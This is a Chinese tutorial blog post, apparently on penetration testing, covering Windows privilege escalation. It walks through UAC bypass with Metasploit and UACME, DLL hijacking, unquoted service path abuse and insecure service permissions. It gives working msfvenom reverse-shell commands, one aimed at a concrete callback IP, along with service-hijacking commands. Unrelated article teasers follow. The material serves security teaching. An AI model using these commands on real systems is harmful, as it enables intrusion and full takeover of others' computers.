【权限提升-Windows提权】-UAC提权之MSF模块和UACME项目-DLL劫持-不带引号服务路径-不安全的服务权限

权限提升基础信息

1、具体有哪些权限需要我们了解掌握的?

后台权限,网站权限,数据库权限,接口权限,系统权限,域控权限等

2、以上常见权限获取方法简要归类说明?

后台权限:SQL注入,数据库备份泄露,默认或弱口令等获取帐号密码进入

网站权限:后台提升至网站权限,RCE或文件操作类、反序列化等漏洞直达Shell

数据库权限:SQL注入,数据库备份泄露,默认或弱口令等进入或网站权限获取后转入

接口权限:SQL注入,数据库备份泄露,源码泄漏,培植不当等或网站权限获取后转入

系统权限:高危系统漏洞直达或网站权限提升转入、数据库权限提升转入,第三方转入等

域控权限:高危系统漏洞直达或内网横向渗透转入,域控其他服务安全转入等

3、以上常见权限获取后能操作的具体事情?

后台权限:

常规WEB界面文章分类等操作,后台功能可操作类

网站权限:

查看或修改程序源代码,可以进行网站或应用的配置文件读取(接口配置信息,数据库配置信息等),还能收集服务器操作系统相关的信息,为后续系统提权做准备。

数据库权限:

操作数据库的权限,数据库的增删改等,源码或配置文件泄漏,也可能是网站权限(webshell)进行的数据库配置文件读取获得。也可以作为提升系统权限手段。

接口权限:

后台或网站权限后的获取途径:后台(修改配置信息功能点),网站权限(查看的配置文件获取),具体可以操作的事情大家自己想想。

系统权限:如同在你自己操作自己的电脑一样

域控权限:如同在你自己操作自己的虚拟机一样

 

 

演示:uac提权

前提:已获取目标本地用户权限

使用msf模块提权

1.上传木马反弹shell回来的时候测试一下getsystem,发现无法提权。

2.启动msf,选择UAC绕过模块。

此处测试是针对UAC被设置为高等级的情况,使用的是钓鱼模块,运行后目标主机弹窗,需要目标点击确定才能触发。

建议优先使用其他模块:search uac   #搜索uac模块

执行命令:

use exploit/windows/local/ask    #使用钓鱼模块
sessions         #查看后台进程
set session 1    #选择进程

set lport 5555   #设置监听端口

run  #启动

3.再次执行 getsystem 提权命令,成功提权。

4.如果还是无法提权,可以尝试其他uac模块。

 

使用UACME项目提权

介绍:UACME 是一款专门绕过uac的项目,目前已经支持了77 种绕过 UAC 的方法。支持Windows 7/8/8.1/10/11系统版本,某些方法也适用于服务器版本。

下载:https://github.com/hfiref0x/UACME

使用:下载UACME项目到本地后,使用最新版 Visual Studio 工具对其进行编译,然后将编译好的exe程序上传到目标系统运行即可。

使用命令:Akagi64.exe 绕过方法编号  #程序将从 system32 文件夹执行提权的 cmd.exe

使用命令:Akagi64.exe 绕过方法编号 木马路径  #运行指定的程序

实用编号:23、41、61、62

1.执行:whoami /all 查看当前用户权限,只有如下权限。

2.执行绕过uac程序,使用的是编号62绕过方法,系统是win11。

命令:Akagi64.exe 62

成功唤出弹窗,再次使用 whoami /all 查看权限,发现多出了很多权限。

3.使用命令:Akagi64.exe 62 shell.exe  执行msf木马程序,msf设置监听。

不行就多尝试几种编号。

msf成功接收到shell,执行 getsystem 提权命令,成功提权。

 

 

DLL劫持提权

前提:已获取web shell权限

介绍:Windows程序启动的时候需要运行DLL文件,攻击者可以将程序启动时要运行的dll文件替换为同名的恶意脚本文件来提权。

Windows查找DLL文件的顺序如下:

1、应用程序加载的目录

2、C:\Windows\System32

3、C:\Windows\System

4、C:\Windows

5、当前工作目录Current Working Directory,CWD

6、在PATH环境变量的目录(先系统后用户)

演示开始:

过程:信息收集-进程调试-制作dll恶意脚本并上传-替换dll文件-启动应用后成功

1.获取目标web shell权限,查看文件,发现存在一个phpstudy_pro程序,应用程序目录下存在dll文件。

2.在本地下载一个 火绒剑-互联网安全分析软件 和目标应用程序:phpstudy_pro。

下载火绒剑:https://github.com/anhkgg/anhkgg-tools

运行phpstudy_pro启动进程,使用火绒剑-互联网安全分析软件查看phpstudy_pro程序进程中运行的dll文件。

一般选择未知文件或者数字签名文件,因为系统文件可能没有权限操作。

发现运行了一个:msvcp140.dll

3.服务器安装一个msf,执行生成dll恶意文件命令。

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip  lport=监听端口 -f dll -o 文件名.dll

4.将应用程序目录下的原生msvcp140.dll文件改名,然后将生成的msvcp140.dll恶意文件上传。

5.启动msf监听,等待目标启动phpstudy_pro应用程序,触发msvcp140.dll恶意文件,反弹shell。

6.接收到反弹shell之后,成功获取到目标管理员用户权限。执行 getsystem 成功将权限提升至system系统权限。

 

 

利用"不带引号的服务路径"提权

前提:需要在C盘等目录引用上传权限(如:获取到win本地用户权限)

介绍:当 Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是如果服务的二进制路径未包含在引号中,有空格的目录就会认为是文件加参数 ,则操作系统将会执行服务路径中空格前的第一个实例。

演示开始

过程:检测筛选符合的服务--生成木马并上传--启动服务--自动调用木马

1.执行命令检测当前系统中不带引号的服务路径中有空格的服务路径。

执行命令:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

2.获取到服务路径空格之前的是program。服务器安装msf,执行命令生成同名木马文件。

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=43.134.241.193  lport=4444 -f exe > program.exe

3.服务器启动msf,配置和启动监听,等待反弹shell。

4.上传同名的program.exe木马文件到目标C盘根目录。

5.执行命令启动DriverGenius Core Service 服务就会触发木马文件,攻击者直接就获取system权限。

执行命令:sc start "服务名(DriverGenius Core Service)"

成功获取system权限:

利用"不安全的服务权限"提权

介绍:由于管理配置错误,用户可能对服务拥有过多的权限,例如:可以直接修改服务路径指向恶意程序。

1.下载accesschk工具,将accesschk.exe程序上传到目标系统目录,执行命令查看有权限更改服务配置的服务。

下载:https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk

执行命令:accesschk.exe -uwcqv "administrators" *      #查看administrators用户下的服务项

服务权限为:SERVICE_ALL_ACCESS或SERVICE_QUERY_CONFIG 的就符合要求,可以更改服务配置。

2.使用msf生成木马程序,将木马上传到目标系统目录。

命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=监听ip  lport=监听端口-f exe > 木马名.exe

3.启动msf开启监听,等待接收shell。

4.执行命令将指定服务的路径更改为上传木马的路径。

命令:sc config "服务名" binpath="木马绝对路径"

5.然后执行命令启动服务,触发木马程序。

命令:sc start 服务名

6.msf成功接收到shell,执行 getuid 查看权限直接就是system权限

更多提权方式请看:权限提升-Windows本地提权-AT+SC+PS命令-进程迁移-令牌窃取-getsystem+UAC_xiaoheizi安全的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/99330.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

BuhoCleaner for mac:让你的Mac重获新生

你是否曾经因为电脑运行缓慢而感到困扰?是否曾经因为大量的垃圾文件和无效的临时文件而感到头疼?如果你有这样的烦恼,那么BuhoCleaner for mac就是你的救星! BuhoCleaner for mac是一款专门为Mac用户设计的系统清理工具&#xff…

联发科MTK6762/MT6762核心板_安卓主板小尺寸低功耗4G智能模块

MT6762安卓核心板是一款基于MTK平台的高性能智能模块,是一款工业级的产品。该芯片也被称为Helio P22。这款芯片内置了Arm Cortex-A53 CPU,最高可运行于2.0GHz。同时,它还提供灵活的LPDDR3/LPDDR4x内存控制器,此外,Medi…

机器学习——聚类算法一

机器学习——聚类算法一 文章目录 前言一、基于numpy实现聚类二、K-Means聚类2.1. 原理2.2. 代码实现2.3. 局限性 三、层次聚类3.1. 原理3.2. 代码实现 四、DBSCAN算法4.1. 原理4.2. 代码实现 五、区别与相同点1. 区别:2. 相同点: 总结 前言 在机器学习…

GPT转换工具:轻松将MBR转换为GPT磁盘

为什么需要将MBR转换为GPT? 众所周知,Windows 11已经发布很长时间了。在此期间,许多老用户已经从Windows 10升级到Windows 11。但有些用户仍在运行Windows 10。对于那些想要升级到Win 11的用户来说,他们可能不确定Win 11应该使…

无涯教程-JavaScript - DAYS360函数

描述 DAYS360函数返回基于360天的年份(十二个月为30天)的两个日期之间的天数,该天数用于会计计算。 语法 DAYS360 (start_date,end_date,[method])争论 Argument描述Required/OptionalStart_dateThe two dates between which you want to know the number of days.Required…

webpack打包常用配置项

webpack打包配置项 参考链接 文件结构:最基础版 先安装 npm i webpack webpack-cli --dev 运行命令:npx webpack 进行打包 1. 配置webpack.config.js文件: const path require(path); module.exports {mode: development, // 开发环境 …

合并两个有序链表(每日一题)

“路虽远,行则将至” ❤️主页:小赛毛 ☕今日份刷题:合并两个有序链表 题目描述: 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 示例1: 输入:l1 …

【用unity实现100个游戏之8】用Unity制作一个炸弹人游戏

文章目录 前言素材开始一、绘制地图二、玩家设置三、玩家移动四、玩家四方向动画运动切换 五、放置炸弹六、生成爆炸效果七、墙壁和可破坏障碍物的判断八、道具生成和效果九、玩家死亡十、简单的敌人AI十一、简单敌人AI十二、随机绘制地图十三、虚拟摇杆 最终效果待续源码完结 …

力扣|找出和所对应的两数的下标

从零开始刷力扣(bushi 题目放在这: 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出和为目标值target的两个整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是,数组中同一…

阻塞非阻塞IO(BIO和NIO),IO多路复用

1.概念 NIO(New Input/Output)和BIO(Blocking Input/Output)是Java中用于处理输入输出的两种不同的模型。 BIO 会阻塞,等有了消息,立刻返回,一个线程处理一个recv(需要很多线程&…

【UIPickerView-UIDatePicker-应用程序对象 Objective-C语言】

一、今天我们来学习三个东西 1.UIPickerView-UIDatePicker-应用程序对象 1.首先,来看数据选择控件 数据选择控件, 大家对这个数据选择控件,是怎么理解的, 1)数据选择控件,首先,是不是得有数据, 2)然后呢,你还得让用户能够选择, 3)最后,你还得是一个控件儿 那…

Python 之 match 表达式

Python 从 3.10 版本开始增加了 match 语句,和其他语言常见的 switch 语句极其相似,但功能更加强大。 本文通过实例,了解下其用法。 基本的 match 语句 def http_code(status): match status: case 400 | 404 | 418: …